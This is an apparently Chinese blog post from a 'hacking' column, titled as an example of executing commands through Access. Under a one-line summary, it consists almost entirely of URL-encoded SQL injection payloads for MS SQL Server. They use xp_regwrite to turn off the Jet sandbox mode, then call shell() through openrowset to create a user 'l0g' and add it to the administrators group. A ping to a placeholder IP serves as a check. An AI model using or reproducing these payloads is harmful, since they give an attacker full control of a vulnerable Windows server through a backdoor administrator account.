利用access执行命令的一个实例

最新推荐文章于 2025-12-06 02:52:33 发布

原创最新推荐文章于 2025-12-06 02:52:33 发布 · 1k 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#access #database #shell #user #c

收录于

hacking 专栏收录该内容

6 篇文章

订阅专栏

本文展示了一种利用SQL注入漏洞进行权限提升的方法，通过特定的SQL语句修改注册表设置，并利用OLE DB连接执行系统命令创建新用户并将其加入管理员组，最终实现对系统的完全控制。

;exec%20master..xp_regwrite%20'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0;--

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20net%20user%20l0g%20l0g%20/add")'))

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20net%20localgroup%20administrators%20l0g%20/add")'))

net%20localgroup%20administrators%20l0g%20/add

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20ping xxx.xxx.xxx.xxx")'))